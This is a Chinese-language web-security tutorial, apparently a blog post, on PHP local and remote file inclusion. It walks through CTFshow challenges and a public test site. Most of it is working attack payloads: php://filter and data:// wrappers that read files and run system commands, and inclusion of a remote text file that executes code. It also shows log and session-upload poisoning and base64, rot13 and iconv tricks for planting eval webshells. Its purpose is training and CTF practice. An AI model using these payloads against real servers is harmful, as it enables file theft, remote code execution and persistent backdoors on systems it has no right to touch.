WEB攻防-文件包含&LFI&RFI&伪协议编码算法&无文件利用&黑白盒

知识点:

1、文件包含-原理&分类&危害-LFI&RFI

2、文件包含-利用-黑白盒&无文件&伪协议

一、演示案例-文件包含-原理&分类&利用

1、原理

程序开发人员通常会把可重复使用的函数写到单个文件中,在使用某些函数时,直接调用此文件,而无须再次编写,这种调用文件的过程一般被称为文件包含。在包含文件的过程中,如果文件能进行控制,则存储文件包含漏洞。


bash 复制代码
 <?php include "xx.xx";?> 这种是包含指定页面,不存在文件包含漏洞
 <?php include $_GET[x];?> 这种通过动态变量的传参才存在文件包含漏洞


2、分类

本地包含-Local File Include-LFI

bash 复制代码
(包含的文件都是本地服务器上的,可以包含图片马,敏感文件,日志等等)x.php?x=xx.xx

远程包含-Remote File Include-RFI(较少)

bash 复制代码
x.php?x=http://xxxxx/x.xx (要保证php.ini中allow_url_fopen和allow_url_include要为On)

3、白盒审计

bash 复制代码
1、可通过应用功能追踪代码定位审计
2、可通过脚本特定函数搜索定位审计
3、可通过伪协议玩法绕过相关修复等
PHP:include、require、include_once、require_once等
include在包含的过程中如果出现错误,会抛出一个警告,程序继续正常运行
require函数出现错误的时候,会直接报错并退出程序的执行
Java:java.io.File、java.io.FileReader等
ASP.NET:System.IO.FileStream、System.IO.StreamReader等

4、黑盒分析

bash 复制代码
黑盒发现:主要观察参数传递的数据和文件名是否对应
URL中有path、dir、file、page、archive、eng、语言文件等相关字眼

5、利用

无文件就是指目标没有上传点,只能包含服务器已经存在的文件。

思路:

1、配合文件上传(目标有上传点,自己上传一个恶意代码的文件)

2、无文件包含日志(前提:需要知道当前网站存储日志的绝对路径)


3、无文件包含SESSION(前提:需要知道当前网站存储SESSION文件的绝对路径)

4、无文件支持伪协议利用

文件读取

bash 复制代码
方式一:
file:///etc/passwd
bash 复制代码
方式二:
php://filter/read=convert.base64-encode/resource=phpinfo.php




文件写入

bash 复制代码
方式一:
php://filter/write=convert.base64-encode/resource=phpinfo.php  //这个需要代码里接收两个参数才行

注:131要改为base64编码才行,图里是错误的。

bash 复制代码
方式二:
php://input 
POST:<?php fputs(fopen('shell.php','w'),'<?php @eval($_GET[cmd]); ?>'); ?>



代码执行

bash 复制代码
方式一:
php://input 
POST:<?php phpinfo();?>
bash 复制代码
方式二:
data://text/plain,<?php phpinfo();?>
bash 复制代码
方式三:
data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8%2b


远程利用思路

直接搭建一个可访问的远程URL包含文件(不能是脚本文件,其他后缀随意,可包含一句话getshell)

二、演示案例-文件包含-利用-黑白盒&无文件&伪协议

黑盒利用-VULWEB

http://testphp.vulnweb.com/showimage.php?file=index.php



白盒利用-CTFSHOW-伪协议玩法

https://ctf.show/challenges //专门的CTF网站,对新手比较友好

78-php&http协议

bash 复制代码
方式一:
payload: ?file=php://filter/read=convert.base64-encode/resource=flag.php
bash 复制代码
方式二:
payload: ?file=php://input 
post:<?php system('tac flag.php');?>



bash 复制代码
方式三:
payload: ?file=http://www.xiaodi8.com/1.txt 
远程1.txt: <?php system('tac flag.php');?> //也可以写一句话木马连上去


79-data&http协议

bash 复制代码
方式一:
payload: ?file=data://text/plain,<?=system('tac flag.*');?>
bash 复制代码
方式二:
payload: ?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCd0YWMgZmxhZy5waHAnKTs/Pg==


bash 复制代码
方式三:
payload: ?file=http://www.xiaodi8.com/1.txt 
1.txt:<?php system('tac flag.php');?>

80 81-日志包含

bash 复制代码
1、利用其他协议,如file,zlib等
2、利用日志记录UA特性包含执行
故利用日志记录UA信息,UA带入后门代码或者system代码
包含:/var/log/nginx/access.log






82-86-SESSION包含

利用PHP_SESSION_UPLOAD_PROGRESS进行文件包含




bash 复制代码
session会自动把内容清空,所以要在清空之前利用条件竞争方式触发session里的代码,自定义session名字,条件竞争访问session文件,触发创建新文件。

以下表单就是为了创建session文件
<!DOCTYPE html>
<html>
<body>
<form action="http://xxxx.ctf.show/" method="POST" enctype="multipart/form-data">
    <input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="<?php fputs(fopen('shell.php','w'),'<?php @eval($_POST[1])?>'?>" />
    <input type="file" name="file" />
    <input type="submit" value="submit" />
</form>
</body>
</html>


随便上传一张图片抓取这个数据包,在请求头中添加session名字并进行无限发包

同样的,抓取这个路径请求包进行无限发包,从而触发session文件里的php代码

然后就会在网站目录下生成一个shell.php文件

87-php://filter/write&加密编码

bash 复制代码
1、利用base64:
url编码2次:php://filter/write=convert.base64-decode/resource=123.php 
content=aaPD9waHAgQGV2YWwoJF9QT1NUW2FdKTs/Pg==





bash 复制代码
2、利用凯撒13(类似base64的加密方式):
url编码2次:php://filter/write=string.rot13/resource=2.php
content=<?cuc riny($_CBFG[1]);?>




88-data&base64协议

过滤PHP,各种符号,php代码编码写出无符号base64

bash 复制代码
Payload:file=data://text/plain;base64,PD9waHAgc3lzdGVtKCd0YWMgKi5waHAnKTtlY2hvIDEyMzs/PmFk






117-php://filter/write&新的算法

bash 复制代码
代理中并没有过滤php
生成脚本
<?php
$result = iconv("UCS-2LE","UCS-2BE", '<?php eval($_POST[a]);?>');
echo "经过一次反转:".$result."\n";
echo "经过第二次反转:".iconv("UCS-2LE","UCS-2BE", $result);
?>
bash 复制代码
与凯撒13加密差不多,只不过换了另外一种方式
Payload:file=php://filter/write=convert.iconv.UCS-2LE.UCS-2BE/resource=a.php
contents=?<hp pvela$(P_SO[T]a;)>?


相关推荐
不会摸鱼的小鱼20 小时前
WSL 安装 Ubuntu 22.04 到指定磁盘
数据库·postgresql·php
淼淼爱喝水1 天前
DVWA和Pikachu命令注入漏洞检测实验
安全·web安全·php·pikachu·dvwa
专注VB编程开发20年1 天前
json和python元组,列表,字典对比
开发语言·python·json·php
怀旧,1 天前
【Linux网络编程】15. Reactor 反应堆模式
linux·网络·php
Dylan的码园1 天前
2026年免费远程控制软件哪个好?ToDesk向日葵UU远程免费版横评,不限次数不限时长
服务器·开发语言·php
dog2501 天前
解析几何的力量(1)
服务器·开发语言·网络·php
号码认证服务1 天前
如何让来电显示公司名代替陌生数字号码?企业号码认证开通指南
服务器·c语言·网络·经验分享·智能手机·云计算·php
一念春风1 天前
QwenPaw(替代小龙虾)大模型
开发语言·php
是有头发的程序猿1 天前
AI Agent自动化交易流程:1688定制交易API全链路开发实战教程(Python源码)
python·自动化·php
极梦网络无忧1 天前
# 从零打造 Composer 依赖包:ThinkPHP 项目开发实战指南
php·composer